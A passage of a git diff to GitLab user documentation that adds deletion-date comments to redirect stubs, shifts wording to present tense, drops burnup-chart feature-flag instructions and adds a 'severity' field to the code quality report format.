b/doc/user/project/issues/deleting_issues.md index e50259e0dcf..d8e1485a2dc 100644 --- a/doc/user/project/issues/deleting_issues.md +++ b/doc/user/project/issues/deleting_issues.md @@ -3,3 +3,6 @@ redirect_to: 'managing_issues.md#deleting-issues' --- This document was moved to [another location](managing_issues.md#deleting-issues). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/issues/moving_issues.md b/doc/user/project/issues/moving_issues.md index 8331f865b83..3b40affcdc3 100644 --- a/doc/user/project/issues/moving_issues.md +++ b/doc/user/project/issues/moving_issues.md @@ -3,3 +3,6 @@ redirect_to: 'managing_issues.md#moving-issues' --- This document was moved to [another location](managing_issues.md#moving-issues). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/issues/similar_issues.md b/doc/user/project/issues/similar_issues.md index 9cbac53ee41..79a50d5f812 100644 --- a/doc/user/project/issues/similar_issues.md +++ b/doc/user/project/issues/similar_issues.md @@ -3,3 +3,6 @@ redirect_to: 'index.md#similar-issues' --- This document was moved to [another location](index.md#similar-issues). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/maven_packages.md b/doc/user/project/maven_packages.md index 4679eed5433..5bfa08de2ed 100644 --- a/doc/user/project/maven_packages.md +++ b/doc/user/project/maven_packages.md @@ -3,3 +3,6 @@ redirect_to: '../packages/maven_repository/index.md' --- This document was moved to [another location](../packages/maven_repository/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/members/index.md b/doc/user/project/members/index.md index c66103604ed..6193384ec27 100644 --- a/doc/user/project/members/index.md +++ b/doc/user/project/members/index.md @@ -53,7 +53,7 @@ that you'd like to give the user. Note that you can select more than one user.  -Once done, hit **Add users to project** and they will be immediately added to +Once done, select **Add users to project** and they are immediately added to your project with the permissions you gave them above.  @@ -71,7 +71,7 @@ In the dropdown menu, you can see only the projects you are Maintainer on.  Select the one you want and hit **Import project members**. A flash message -notifying you that the import was successful will appear, and the new members +displays, notifying you that the import was successful, and the new members are now in the project's members list. Notice that the permissions that they had on the project you imported from are retained. @@ -96,7 +96,7 @@ invitation, change their access level, or even delete them.  -Once the user accepts the invitation, they will be prompted to create a new +After the user accepts the invitation, they are prompted to create a new GitLab account using the same e-mail address the invitation was sent to. Note: **Note:** diff --git a/doc/user/project/members/share_project_with_groups.md b/doc/user/project/members/share_project_with_groups.md index 395f4353f47..ac3b1f7a945 100644 --- a/doc/user/project/members/share_project_with_groups.md +++ b/doc/user/project/members/share_project_with_groups.md @@ -34,7 +34,7 @@ To share 'Project Acme' with the 'Engineering' group:  -1. After sharing 'Project Acme' with 'Engineering', the project will be listed +1. After sharing 'Project Acme' with 'Engineering', the project is listed on the group dashboard  @@ -48,11 +48,11 @@ Admins are able to share projects with any group in the system. ## Maximum access level -In the example above, the maximum access level of 'Developer' for members from 'Engineering' means that users with higher access levels in 'Engineering' ('Maintainer' or 'Owner') will only have 'Developer' access to 'Project Acme'. +In the example above, the maximum access level of 'Developer' for members from 'Engineering' means that users with higher access levels in 'Engineering' ('Maintainer' or 'Owner') only have 'Developer' access to 'Project Acme'. ## Sharing public project with private group -When sharing a public project with a private group, owners and maintainers of the project will see the name of the group in the `members` page. Owners will also have the possibility to see members of the private group they don't have access to when mentioning them in the issue or merge request. +When sharing a public project with a private group, owners and maintainers of the project see the name of the group in the `members` page. Owners also have the possibility to see members of the private group they don't have access to when mentioning them in the issue or merge request. ## Share project with group lock diff --git a/doc/user/project/merge_requests.md b/doc/user/project/merge_requests.md index 1d7ebc856c3..5762177882e 100644 --- a/doc/user/project/merge_requests.md +++ b/doc/user/project/merge_requests.md @@ -3,3 +3,6 @@ redirect_to: 'merge_requests/index.md' --- This document was moved to [merge_requests/index.md](merge_requests/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/merge_requests/browser_performance_testing.md b/doc/user/project/merge_requests/browser_performance_testing.md index 040ca4b439b..ec22cd06051 100644 --- a/doc/user/project/merge_requests/browser_performance_testing.md +++ b/doc/user/project/merge_requests/browser_performance_testing.md @@ -47,8 +47,8 @@ For an example Performance job, see NOTE: **Note:** If the Browser Performance report has no data to compare, such as when you add the Browser Performance job in your `.gitlab-ci.yml` for the very first time, -the Browser Performance report widget won't show. It must have run at least -once on the target branch (`master`, for example), before it will display in a +the Browser Performance report widget doesn't show. It must have run at least +once on the target branch (`master`, for example), before it displays in a merge request targeting that branch.  @@ -81,7 +81,7 @@ The above example creates a `performance` job in your CI/CD pipeline and runs sitespeed.io against the webpage you defined in `URL` to gather key metrics. The example uses a CI/CD template that is included in all GitLab installations since -12.4, but it will not work with Kubernetes clusters. If you are using GitLab 12.3 +12.4, but it doesn't work with Kubernetes clusters. If you are using GitLab 12.3 or older, you must [add the configuration manually](#gitlab-versions-123-and-older) The template uses the [GitLab plugin for sitespeed.io](https://gitlab.com/gitlab-org/gl-performance), @@ -115,7 +115,7 @@ performance: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27599) in GitLab 13.0. You can configure the sensitivity of degradation alerts to avoid getting alerts for minor drops in metrics. -This is done by setting the `DEGRADATION_THRESHOLD` variable. In the example below, the alert will only show up +This is done by setting the `DEGRADATION_THRESHOLD` variable. In the example below, the alert only shows up if the `Total Score` metric degrades by 5 points or more: ```yaml @@ -181,7 +181,7 @@ performance: ### GitLab versions 12.3 and older Browser Performance Testing has gone through several changes since it's introduction. -In this section we'll detail these changes and how you can run the test based on your +In this section we detail these changes and how you can run the test based on your GitLab version: - In GitLab 12.4 [a job template was made available](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Verify/Browser-Performance.gitlab-ci.yml). diff --git a/doc/user/project/merge_requests/code_quality.md b/doc/user/project/merge_requests/code_quality.md index d50056c9450..0280ce4e967 100644 --- a/doc/user/project/merge_requests/code_quality.md +++ b/doc/user/project/merge_requests/code_quality.md @@ -84,8 +84,8 @@ include: - template: Code-Quality.gitlab-ci.yml ``` -The above example will create a `code_quality` job in your CI/CD pipeline which -will scan your source code for code quality issues. The report will be saved as a +The above example creates a `code_quality` job in your CI/CD pipeline which +scans your source code for code quality issues. The report is saved as a [Code Quality report artifact](../../../ci/pipelines/job_artifacts.md#artifactsreportscodequality) that you can later download and analyze. @@ -132,17 +132,17 @@ stages: ``` TIP: **Tip:** -This information will be automatically extracted and shown right in the merge request widget. +This information is automatically extracted and shown right in the merge request widget. CAUTION: **Caution:** On self-managed instances, if a malicious actor compromises the Code Quality job -definition they will be able to execute privileged Docker commands on the runner +definition they could execute privileged Docker commands on the runner host. Having proper access control policies mitigates this attack vector by allowing access only to trusted actors. ### Disabling the code quality job -The `code_quality` job will not run if the `$CODE_QUALITY_DISABLED` environment +The `code_quality` job doesn't run if the `$CODE_QUALITY_DISABLED` environment variable is present. Please refer to the environment variables [documentation](../../../ci/variables/README.md) to learn more about how to define one. @@ -185,7 +185,7 @@ job1: - if: '$CI_COMMIT_TAG' # Run job1 in pipelines for tags ``` -To make these work together, you will need to overwrite the code quality `rules` +To make these work together, you need to overwrite the code quality `rules` so that they match your current `rules`. From the example above, it could look like: ```yaml @@ -228,6 +228,7 @@ with the following properties: | ---------------------- | -------------------------------------------------------------------------------------- | | `description` | A description of the code quality violation. | | `fingerprint` | A unique fingerprint to identify the code quality violation. For example, an MD5 hash. | +| `severity` | A severity string (can be `info`, `minor`, `major`, `critical`, or `blocker`). | | `location.path` | The relative path to the file containing the code quality violation. | | `location.lines.begin` | The line on which the code quality violation occurred. | @@ -238,6 +239,7 @@ Example: { "description": "'unused' is assigned a value but never used.", "fingerprint": "7815696ecbf1c96e6894b779456d330e", + "severity": "minor", "location": { "path": "lib/index.js", "lines": { @@ -260,7 +262,7 @@ Once the Code Quality job has completed: Code Quality tab of the Pipeline Details page. - Potential changes to code quality are shown directly in the merge request. The Code Quality widget in the merge request compares the reports from the base and head of the branch, - then lists any violations that will be resolved or created when the branch is merged. + then lists any violations that are resolved or created when the branch is merged. - The full JSON report is available as a [downloadable artifact](../../../ci/pipelines/job_artifacts.md#downloading-artifacts) for the `code_quality` job. @@ -341,11 +343,11 @@ is still used. This can be due to multiple reasons: - You just added the Code Quality job in your `.gitlab-ci.yml`. The report does not - have anything to compare to yet, so no information can be displayed. Future merge - requests will have something to compare to. + have anything to compare to yet, so no information can be displayed. It only displays + after future merge requests have something to compare to. - Your pipeline is not set to run the code quality job on your default branch. If there is no report generated from the default branch, your MR branch reports will not have anything to compare to. - If no [degradation or error is detected](https://docs.codeclimate.com/docs/maintainability#section-checks), - nothing will be displayed. + nothing is displayed. - The [`artifacts:expire_in`](../../../ci/yaml/README.md#artifactsexpire_in) CI/CD setting can cause the Code Quality artifact(s) to expire faster than desired. - Large `codeclimate.json` files (esp. >10 MB) are [known to prevent the report from being displayed](https://gitlab.com/gitlab-org/gitlab/-/issues/2737). diff --git a/doc/user/project/merge_requests/code_quality_diff.md b/doc/user/project/merge_requests/code_quality_diff.md index 0aa108a2e73..2b7b2574ef7 100644 --- a/doc/user/project/merge_requests/code_quality_diff.md +++ b/doc/user/project/merge_requests/code_quality_diff.md @@ -3,3 +3,6 @@ redirect_to: 'code_quality.md' --- This document was moved to [another location](code_quality.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/merge_requests/container_scanning.md b/doc/user/project/merge_requests/container_scanning.md index a062731ea35..5d61f2b36e8 100644 --- a/doc/user/project/merge_requests/container_scanning.md +++ b/doc/user/project/merge_requests/container_scanning.md @@ -3,3 +3,6 @@ redirect_to: '../../application_security/container_scanning/index.md' --- This document was moved to [another location](../../application_security/container_scanning/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/merge_requests/dast.md b/doc/user/project/merge_requests/dast.md index 98a2906e560..37c0d5b4e37 100644 --- a/doc/user/project/merge_requests/dast.md +++ b/doc/user/project/merge_requests/dast.md @@ -3,3 +3,6 @@ redirect_to: '../../application_security/dast/index.md' --- This document was moved to [another location](../../application_security/dast/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/merge_requests/dependency_scanning.md b/doc/user/project/merge_requests/dependency_scanning.md index bdc1c355016..dd5910121ed 100644 --- a/doc/user/project/merge_requests/dependency_scanning.md +++ b/doc/user/project/merge_requests/dependency_scanning.md @@ -3,3 +3,6 @@ redirect_to: '../../application_security/dependency_scanning/index.md' --- This document was moved to [another location](../../application_security/dependency_scanning/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/merge_requests/license_management.md b/doc/user/project/merge_requests/license_management.md index ed81eb8ca10..4c598d851a9 100644 --- a/doc/user/project/merge_requests/license_management.md +++ b/doc/user/project/merge_requests/license_management.md @@ -3,3 +3,6 @@ redirect_to: '../../compliance/license_compliance/index.md' --- This document was moved to [another location](../../compliance/license_compliance/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/merge_requests/maintainer_access.md b/doc/user/project/merge_requests/maintainer_access.md index fe7e1f558c7..29afff289fd 100644 --- a/doc/user/project/merge_requests/maintainer_access.md +++ b/doc/user/project/merge_requests/maintainer_access.md @@ -3,3 +3,6 @@ redirect_to: 'allow_collaboration.md' --- This document was moved to [another location](allow_collaboration.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/merge_requests/merge_request_discussion_resolution.md b/doc/user/project/merge_requests/merge_request_discussion_resolution.md index a554d727ca4..f8d15f31875 100644 --- a/doc/user/project/merge_requests/merge_request_discussion_resolution.md +++ b/doc/user/project/merge_requests/merge_request_discussion_resolution.md @@ -3,3 +3,6 @@ redirect_to: '../../discussions/index.md' --- This document was moved to [another location](../../discussions/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/merge_requests/merge_when_build_succeeds.md b/doc/user/project/merge_requests/merge_when_build_succeeds.md index e37dad098f1..48d32d2882f 100644 --- a/doc/user/project/merge_requests/merge_when_build_succeeds.md +++ b/doc/user/project/merge_requests/merge_when_build_succeeds.md @@ -5,3 +5,6 @@ redirect_to: 'merge_when_pipeline_succeeds.md' This document was moved to [merge_when_pipeline_succeeds](merge_when_pipeline_succeeds.md). >[Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/7135) by the "Rename MWBS service to Merge When Pipeline Succeeds" change. + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/merge_requests/sast.md b/doc/user/project/merge_requests/sast.md index 165290eb114..11f85749fb7 100644 --- a/doc/user/project/merge_requests/sast.md +++ b/doc/user/project/merge_requests/sast.md @@ -3,3 +3,6 @@ redirect_to: '../../application_security/sast/index.md' --- This document was moved to [another location](../../application_security/sast/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/merge_requests/sast_docker.md b/doc/user/project/merge_requests/sast_docker.md index a062731ea35..5d61f2b36e8 100644 --- a/doc/user/project/merge_requests/sast_docker.md +++ b/doc/user/project/merge_requests/sast_docker.md @@ -3,3 +3,6 @@ redirect_to: '../../application_security/container_scanning/index.md' --- This document was moved to [another location](../../application_security/container_scanning/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/merge_requests/versions.md b/doc/user/project/merge_requests/versions.md index 0922ffb2943..710c1b3deeb 100644 --- a/doc/user/project/merge_requests/versions.md +++ b/doc/user/project/merge_requests/versions.md @@ -22,8 +22,8 @@ can select an older one from version dropdown.  Merge request versions are based on push not on commit. So, if you pushed 5 -commits in a single push, it will be a single option in the dropdown. If you -pushed 5 times, that will count for 5 options. +commits in a single push, it displays as a single option in the dropdown. If you +pushed 5 times, that counts for 5 options. You can also compare the merge request version with an older one to see what has changed since then. @@ -42,12 +42,12 @@ changes appears as a system note. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/2383) in GitLab 10.5. -When viewing the commit details page, GitLab will link to the merge request (or +When viewing the commit details page, GitLab links to the merge request (or merge requests, if it's in more than one) containing that commit. This only applies to commits that are in the most recent version of a merge -request - if a commit was in a merge request, then rebased out of that merge -request, they will not be linked. +request - if commits were in a merge request, then rebased out of that merge +request, they aren't linked. ## `HEAD` comparison mode for Merge Requests diff --git a/doc/user/project/milestones/burndown_and_burnup_charts.md b/doc/user/project/milestones/burndown_and_burnup_charts.md index ae03be5fa0f..63e2abfd8a7 100644 --- a/doc/user/project/milestones/burndown_and_burnup_charts.md +++ b/doc/user/project/milestones/burndown_and_burnup_charts.md @@ -104,13 +104,7 @@ Reopened issues are considered as having been opened on the day after they were ## Burnup charts > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/6903) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.6. -> - It's [deployed behind a feature flag](../../feature_flags.md), enabled by default. -> - It's enabled on GitLab.com. -> - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-burnup-charts). **(STARTER ONLY)** - -CAUTION: **Warning:** -This feature might not be available to you. Check the **version history** note above for details. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/268350) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.7. Burnup charts show the assigned and completed work for a milestone. @@ -136,25 +130,6 @@ Burnup charts can show either the total number of issues or total weight for eac day of the milestone. Use the toggle above the charts to switch between total and weight. -### Enable or disable burnup charts **(STARTER ONLY)** - -Burnup charts is under development but ready for production use. -It is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) -can opt to disable it. - -To enable it: - -```ruby -Feature.enable(:burnup_charts) -``` - -To disable it: - -```ruby -Feature.disable(:burnup_charts) -``` - <!-- ## Troubleshooting Include any troubleshooting steps that you can foresee. If you know beforehand what issues diff --git a/doc/user/project/milestones/burndown_charts.md b/doc/user/project/milestones/burndown_charts.md index 5d9e6b67bb8..5e38ecc79d6 100644 --- a/doc/user/project/milestones/burndown_charts.md +++ b/doc/user/project/milestones/burndown_charts.md @@ -3,3 +3,6 @@ redirect_to: './burndown_and_burnup_charts.md' --- This document was moved to [another location](burndown_and_burnup_charts.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/new_ci_build_permissions_model.md b/doc/user/project/new_ci_build_permissions_model.md index a7a72ca4d82..401039fa9b5 100644 --- a/doc/user/project/new_ci_build_permissions_model.md +++ b/doc/user/project/new_ci_build_permissions_model.md @@ -34,9 +34,9 @@ The reasons to do it like that are: With the new behavior, any job that is triggered by the user, is also marked with their read permissions. When a user does a `git push` or changes files through -the web UI, a new pipeline will be usually created. This pipeline will be marked +the web UI, a new pipeline is usually created. This pipeline is marked as created by the pusher (local push or via the UI) and any job created in this -pipeline will have the read permissions of the pusher but not write permissions. +pipeline has the read permissions of the pusher but not write permissions. This allows us to make it really easy to evaluate the access for all projects that have [Git submodules](../../ci/git_submodules.md) or are using container images that the pusher @@ -47,14 +47,14 @@ is running. The access is revoked after the job is finished.** It is important to note that we have a few types of users: -- **Administrators**: CI jobs created by Administrators will not have access +- **Administrators**: CI jobs created by Administrators don't have access to all GitLab projects, but only to projects and container images of projects that the administrator is a member of. That means that if a project is either public or internal users have access anyway, but if a project is private, the - Administrator will have to be a member of it in order to have access to it + Administrator has to be a member of it in order to have access to it via another project's job. -- **External users**: CI jobs created by [external users](../permissions.md#external-users) will have +- **External users**: CI jobs created by [external users](../permissions.md#external-users) have access only to projects to which the user has at least Reporter access. This rules out accessing all internal projects by default. @@ -149,8 +149,8 @@ the container registry. ### Prerequisites to use the new permissions model -With the new permissions model in place, there may be times that your job will -fail. This is most likely because your project tries to access other project's +With the new permissions model in place, there may be times that your job +fails. This is most likely because your project tries to access other project's sources, and you don't have the appropriate permissions. In the job log look for information about 403 or forbidden access messages. @@ -158,7 +158,7 @@ In short here's what you need to do should you encounter any issues. As an administrator: -- **500 errors**: You will need to update [GitLab Workhorse](https://gitlab.com/gitlab-org/gitlab-workhorse) to at +- **500 errors**: You need to update [GitLab Workhorse](https://gitlab.com/gitlab-org/gitlab-workhorse) to at least 0.8.2. This is done automatically for Omnibus installations, you need to [check manually](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/doc/update) for installations from source. - **500 errors**: Check if you have another web proxy sitting in front of NGINX (HAProxy, @@ -185,7 +185,7 @@ git clone https://gitlab-ci-token:${CI_JOB_TOKEN}@gitlab.com/<user>/<mydependent ``` It can also be used for system-wide authentication -(only do this in a Docker container, it will overwrite ~/.netrc): +(only do this in a Docker container, it overwrites `~/.netrc`): ```shell echo -e "machine gitlab.com\nlogin gitlab-ci-token\npassword ${CI_JOB_TOKEN}" > ~/.netrc diff --git a/doc/user/project/operations/alert_management.md b/doc/user/project/operations/alert_management.md index 0feed7dbf40..e60e7d93d12 100644 --- a/doc/user/project/operations/alert_management.md +++ b/doc/user/project/operations/alert_management.md @@ -3,3 +3,6 @@ redirect_to: '../../../operations/incident_management/index.md' --- This document was moved to [another location](../../../operations/incident_management/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/operations/dashboard_settings.md b/doc/user/project/operations/dashboard_settings.md index 2640f2cf98f..ef106181acc 100644 --- a/doc/user/project/operations/dashboard_settings.md +++ b/doc/user/project/operations/dashboard_settings.md @@ -3,3 +3,6 @@ redirect_to: '../../../operations/metrics/dashboards/settings.md' --- This document was moved to [another location](../../../operations/metrics/dashboards/settings.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/operations/error_tracking.md b/doc/user/project/operations/error_tracking.md index 3c00c4a6c41..399ab0d53dc 100644 --- a/doc/user/project/operations/error_tracking.md +++ b/doc/user/project/operations/error_tracking.md @@ -3,3 +3,6 @@ redirect_to: '../../../operations/error_tracking.md' --- This document was moved to [another location](../../../operations/error_tracking.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/operations/feature_flags.md b/doc/user/project/operations/feature_flags.md index b0f7cfc966a..03f2cad6d78 100644 --- a/doc/user/project/operations/feature_flags.md +++ b/doc/user/project/operations/feature_flags.md @@ -3,3 +3,6 @@ redirect_to: '../../../operations/feature_flags.md' --- This document was moved to [another location](../../../operations/feature_flags.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/operations/index.md b/doc/user/project/operations/index.md index 9cec578bc5e..d19cf393883 100644 --- a/doc/user/project/operations/index.md +++ b/doc/user/project/operations/index.md @@ -3,3 +3,6 @@ redirect_to: '../../../operations/index.md' --- This document was moved to [another location](../../../operations/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/operations/linking_to_an_external_dashboard.md b/doc/user/project/operations/linking_to_an_external_dashboard.md index 2640f2cf98f..ef106181acc 100644 --- a/doc/user/project/operations/linking_to_an_external_dashboard.md +++ b/doc/user/project/operations/linking_to_an_external_dashboard.md @@ -3,3 +3,6 @@ redirect_to: '../../../operations/metrics/dashboards/settings.md' --- This document was moved to [another location](../../../operations/metrics/dashboards/settings.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/operations/tracing.md b/doc/user/project/operations/tracing.md index 87567f45560..dcf9894f9e1 100644 --- a/doc/user/project/operations/tracing.md +++ b/doc/user/project/operations/tracing.md @@ -3,3 +3,6 @@ redirect_to: '../../../operations/tracing.md' --- This document was moved to [another location](../../../operations/tracing.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/packages/maven.md b/doc/user/project/packages/maven.md index 8378b8c78cd..13b5d69586a 100644 --- a/doc/user/project/packages/maven.md +++ b/doc/user/project/packages/maven.md @@ -3,3 +3,6 @@ redirect_to: '../../packages/maven_repository/index.md' --- This document was moved to [another location](../../packages/maven_repository/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/packages/maven_packages.md b/doc/user/project/packages/maven_packages.md index 8378b8c78cd..13b5d69586a 100644 --- a/doc/user/project/packages/maven_packages.md +++ b/doc/user/project/packages/maven_packages.md @@ -3,3 +3,6 @@ redirect_to: '../../packages/maven_repository/index.md' --- This document was moved to [another location](../../packages/maven_repository/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/packages/maven_repository.md b/doc/user/project/packages/maven_repository.md index 8378b8c78cd..13b5d69586a 100644 --- a/doc/user/project/packages/maven_repository.md +++ b/doc/user/project/packages/maven_repository.md @@ -3,3 +3,6 @@ redirect_to: '../../packages/maven_repository/index.md' --- This document was moved to [another location](../../packages/maven_repository/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/packages/npm_registry.md b/doc/user/project/packages/npm_registry.md index e94599cf33a..f874b05e7e2 100644 --- a/doc/user/project/packages/npm_registry.md +++ b/doc/user/project/packages/npm_registry.md @@ -3,3 +3,6 @@ redirect_to: '../../packages/npm_registry/index.md' --- This document was moved to [another location](../../packages/npm_registry/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/pages/getting_started/fork_sample_project.md b/doc/user/project/pages/getting_started/fork_sample_project.md index 250e90f0302..2cf118c9066 100644 --- a/doc/user/project/pages/getting_started/fork_sample_project.md +++ b/doc/user/project/pages/getting_started/fork_sample_project.md @@ -3,3 +3,6 @@ redirect_to: 'pages_forked_sample_project.md' --- This document was moved to [pages_forked_sample_project.md](pages_forked_sample_project.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/pages/getting_started/new_or_existing_website.md b/doc/user/project/pages/getting_started/new_or_existing_website.md index f19334a1764..2fc833fbd34 100644 --- a/doc/user/project/pages/getting_started/new_or_existing_website.md +++ b/doc/user/project/pages/getting_started/new_or_existing_website.md @@ -3,3 +3,6 @@ redirect_to: 'pages_ci_cd_template.md' --- This document was moved to [another location](pages_ci_cd_template.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/pages/getting_started/pages_bundled_template.md b/doc/user/project/pages/getting_started/pages_bundled_template.md index bc706105606..0dab1f6ee19 100644 --- a/doc/user/project/pages/getting_started/pages_bundled_template.md +++ b/doc/user/project/pages/getting_started/pages_bundled_template.md @@ -3,3 +3,6 @@ redirect_to: 'pages_new_project_template.md' --- This document was moved to [pages_new_project_template.md](pages_new_project_template.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/pages/getting_started_part_four.md b/doc/user/project/pages/getting_started_part_four.md index e45befe004e..361323a9073 100644 --- a/doc/user/project/pages/getting_started_part_four.md +++ b/doc/user/project/pages/getting_started_part_four.md @@ -3,3 +3,6 @@ redirect_to: 'getting_started/pages_from_scratch.md' --- This document was moved to [getting_started/pages_from_scratch.md](getting_started/pages_from_scratch.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/pages/getting_started_part_three.md b/doc/user/project/pages/getting_started_part_three.md index 4bf5300aa13..9d7f401ca91 100644 --- a/doc/user/project/pages/getting_started_part_three.md +++ b/doc/user/project/pages/getting_started_part_three.md @@ -3,3 +3,6 @@ redirect_to: 'custom_domains_ssl_tls_certification/index.md' --- This document was moved to [another location](custom_domains_ssl_tls_certification/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/pages/getting_started_part_two.md b/doc/user/project/pages/getting_started_part_two.md index 70e84f5d486..4b2b186ca28 100644 --- a/doc/user/project/pages/getting_started_part_two.md +++ b/doc/user/project/pages/getting_started_part_two.md @@ -3,3 +3,6 @@ redirect_to: 'index.md' --- This document was moved to [another location](index.md#getting-started). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/pipelines/job_artifacts.md b/doc/user/project/pipelines/job_artifacts.md index c23eaebcbe9..cf5f33534cd 100644 --- a/doc/user/project/pipelines/job_artifacts.md +++ b/doc/user/project/pipelines/job_artifacts.md @@ -3,3 +3,6 @@ redirect_to: '../../../ci/pipelines/job_artifacts.md' --- This document was moved to [another location](../../../ci/pipelines/job_artifacts.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/pipelines/schedules.md b/doc/user/project/pipelines/schedules.md index a92464d6817..52352a29c5a 100644 --- a/doc/user/project/pipelines/schedules.md +++ b/doc/user/project/pipelines/schedules.md @@ -3,3 +3,6 @@ redirect_to: '../../../ci/pipelines/schedules.md' --- This document was moved to [another location](../../../ci/pipelines/schedules.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: 